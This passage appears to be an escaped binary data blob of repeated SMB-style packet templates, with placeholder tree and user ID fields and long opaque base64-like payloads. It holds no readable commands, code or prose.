EEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0C\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0S\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0c\\x00\\x00\\x00\\x105QQ3xUQNH+n2Tg4VtLizJV34qtU0UxJFFjrEEsQcIHdzKDtdM6QaL0ltTKHgZhClfU4wzl/rd1jseEGP2KseIvZQs03wg2Vxo17FCVoGx751aOUgRTFlo9TNrrjg8izw1bxYz/jZREfuemx3/9tSYjxNxo9YuyFR2m024g9Bj1OVAu79ZXNOLYMsDT8IeteYLUjkK6Ui8Wp0qKvdIH0lGUaqezwSv25R23lqpu5qscY7GJEijIZ1Slp1joEEKWs+VGH0Yv0+ysoT66v27IYsgoKcH6ASeP5coYMWXQs1eGhCNjNTqU19m9pzvoDYOttU0wzWG/jpWnq5taohdLJ4T4VXUYc/H4ppiYAux8DcWXXISQIlO0p1ZESerkVTMyyKR1752uutzyOVf3ZQhFQiuEUBnI4J84TwR5eEBjV/YZea1T7DHEt0RJ2/Jq5nk10NRNfT88iZ78mJjNu2Jj1O7zBHkh/HbmZb2DeZDYf4vJBxVm6q1pYD91YSqmlsau+9KrwLh1ZW8WC5172tsiDiL9HNQT2HuAVsoNZodlFrKHKoTP71Yi9Vb2N7YbNEkuz5GPp70GEWO5ad5UaD87bn9wtV8ltTniHSukFi64NmGdDJurAtDLStCByOPurA/V5dlEIs8u7luXtbHzck3LcgeaT0TvADwPFcHSZ7J2WX86bVAcpeLZ8odGl6MZInVDq/WIxR6ol99dgZ8bCAFbYFjsiwtyFqZzq6kOrFGYlDQEiJT/7UiGpuubO8+DbJblIrw7NYIqjP/iDkx8n8NML/gLSM/bjrOFhHlOhQrWxW5wdnwX02xisprjV+TLJpdM808UEmaKIT3g86U25LULlt5bqpg5OSOkZ49wf8wA2UfmXvvAr+8EOjECKuvq1IGNw9Xb2VM+QCVUqWlHZH2nqH9CAmmAUP/Br0PzwFwD7DfC6wE7uvbfOZEgM1BkMy0UYsXwBa2eLNBLgMX0Xgts5mlTkcitVgsDV6qbQ+AkzWDrrePMfKS765lVGAbbMO3XwZZGmd8BcCP4ShszR87mgTzOdh0qSksI4y3u2Xx3L/ypVGHNy8TCXgGPj+6R7gmNn3qOvG8VWjn0QzWNsu5MGunuzfTGJiKDQVA/d5jv+xi7TnyDpRlLSH2QUFiWjaV0skdp7fKlkoRJDqmG0O43unAias94QwH6q9Rshjiz7AGc4M1qgb0wG5m9w5KosxeZ9QlYSwTd+SuyCdZXyZDTNOeN+1ZL4/AFWTiJUuxfICBo268E3uQOW74T3zcjowxGFiP0u68jRXasOJEBLSEnp5ToPPjwp/SLcRoIVWTwk6/6h62ut9SoO8NMztL4fmasIWbzdM+WSPswqQjkbQl1CYQLGXGnDevjRcEIzq1vq1nFK/IJu4yCYIQcfLwcc7cnWqoHGHRhLihPuuXPs2N/CNUMOSGRjVyfio3Du9RtCB7FcJDdvvFHa343mSJsMQpYYNa+Tr+egbyulIVECrZUydjVmaPzw2sWi/GekcODTuz2GzsF9ZjsmwU6nSfZEglsoNhVIMJkT+mIkNPtgzdg+osyb6PXEv+z5LEc2RKMmYbTNaSDskThbuJUGa2bqm0ll1FcYOU5gf66Qo/T6F4YjRGcCR400JEfsIdbsgmfLXp4Vb7CTrWX3lRmrN9RLnSngSkSqHtsbeJnUjcju0zvn2mTY9S1breKlBohT1b2pV14XP89N0wVvetwXppm2Jnm00YZqBeDVyhOLvJbSpyEkbDoG7bgNdJiElyyBn69WmaSvnGQmJyiJWrEm+ojqyGYLd5emrLRaMU2OyZaH81jvrRjtEFIU44e8ZFZm14gi48VMrr89YYyhZy6Xg1cTiVXAgzz500Tab0IF8V1IdhaQWNtBos9r5ecIe5ujhV3CXM7P0q8SIiNebTjCmERyc8gaTh7IiN8g2HjxY8XJujXkzQrqvOvWbWqh6u/IdmdFx0NNlstr1/09FaHLVFL8xn1YxAQmMpFlIMmPvvGmUhqiU9wwTSWuf0LXgXP3Soy6q0tNP1l4XyTU9J2RJy7Sa7yIXXbWcSCdVZqK6xQ+eeFNiXs1f5rWd+4Qa/JJmGHTSERUATPC0YvfZFL831OivCuNl1eBGetCuavZrQO+1gsNWg2hLHCWVFPBloKkp3VFQ+YwuJv7CWC3qSmQkac5W+E3sRBYzgHCJhYHYqI/R5GP4l1i4DfS/1O2ld1XRU9SUcGxhTHlomTED2x/iEe0WuRWvXcve/nbjLdsS3huxuXogSlDtEL3ZXhtwJx6SPV25Qtoj9JVJICoEoDGwq+MRhtS7DLYwj3hN5SdewsmzBuJ1ZgKqigj5IkmDxAdElfTOw4cNSS9e/mHMZHhkiTwEdpCdz6psYSWyepIofltOx1cVmnDWbnTNIvfREVz3kBo/VKPfNJItSxxRskdnhq/iXwqApmgq6g1zvQ8yiI9AOXvptfPRSqD6MWGBW4K1qn8iouCFzCmbV3qtUUQwhbuHoS72FlhntFutfdfqLVAirkMoGlDd6/SjLbRuADO9li2BTwGZ0ra6QjsOGsHiiCVlZPgXtvWDoFknVZl6Tp4SJlJspQ2ejSm3yq94gCQPtvtzLczwi6VDAFhpRHzs+nSGqa4XIQSuT+CoKRCRPJMvj4DiBsrNBhZhnWAAtB3kx3RmyCQiHaS3ay6TWgoJoXt2wOA6GtqnkrWoYy3/WujraijCVFkSBEb5vZxPPSXPnUFtStdhD8Ntocz0tsZNisxGxOJOYLjE33CI3qJU+Dluy1Ks0a5UTOSzpXt4Pa0ypNQhQ1SluqL2CK5u5XfSOKtJBSxRk0PbECzO6YAJHo5k5vjZDAf9NoaYketzhUSI0JZfn8ujw0OyyGsXRpF1mi20mnrxau9P+3M/yTl6Hy02KgZOaKv/JNxkk/GFg70MaDu88N94oeQzV8cOCpzoTCEeBrx8hTwj9TgrlgZvXze353pfSwVS5xFcPT+Gmp1E1TMadDs0nlbPlGBftJmUsG7mvQfgv4XYX0AMxz5YrqwGJfvTxKniphkH0HXhQlkKV0w/J/IVfQFQcGVrh3zZeE9PByrd7oxpyNSiXlIU9AUZp7WKzuVPIMQx3y4/g6QZbZprnHbUCiv9fVqYSj3+cwna2fn7kxdHqTGF13uO4uivs86us1LLjCZeiB4Zo4ih/2f4DNmcWoXHmb3FIWmNCm5LQM7Omt1BXKyaUyPUz5z0Z8HBNxhZNjepldrabniSaClovGr/IwlgOD8OqCcKqOiQaDknm42wYGpmiz9Cu9EJ4MlMXu7wK15mDoq8LjQGc/MIbd4tNUoGPn5IFTEgUW6WiWoOPPY8KQ1qDj+aj6+fa4nE110n8PKNq2bP7yT+4ECd9Lq+vZJ/M1sA3R0EgHrHbYwugIZ5pASDi2LnPObGl8cJS/UQHkDtSLetS2yWFfU+iWIDjRRevP/bhH772zLl3gQWvwbzNO9w3DwQXMnHYax5IGrteBE2MkVM6i+lIuARztgedFvit2bBEL60yH/3rW+nXGc8GWsIblQ60OLsm7guRTTIV4urL/7R1pUT5duqZDOd3XSXctur2mjI4s0yj0WJP7uKwyGdt2efzPBOc0lhwDbEzoBfYGbayxH4uzo2kVFaDMfqCsFNHOLesj2DEYYN+56MNjj9EyPeaKV6hjmvmVZaSqap4Id5bmE0ygYy4Yu8foJOgepheiUoBMJ6sEE2iJ+0kz0CiteZitgvfsY3Cw10DRvupMp14UrX43NWEZirinj+99Ay36xRs6KzpPiXRcpLbOwVY0pJPKj5UxZkG6tz5wziy0ZEsTLD0NQTA9lrxxCSQ0EupqyaW5flVuiVmD3PsIG0a6hkzNn9Ne/GJ5redmAF1DytSDWxoH4uEzdG2bN/Zlf9DW6pyBMblr3ZsZxjcLTG0dl2t+v+3k/uoWVsy9tm8c1GXe5UU6bmeQoTNckekNd1s6fIeK7wMaStu3KQjlan0TtuummxbBCHyRcwKcT6ImPlt+bk7No9m04cFBKFqZJYzYIjtGHUOgGMxsfdbjmSW3nClk98XpOoKug+2vcD0SBYrAZoqB4Mf/LLpWuZeYIbU+AEKZj2u6xb\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0s\\x00\\x00\\x00\\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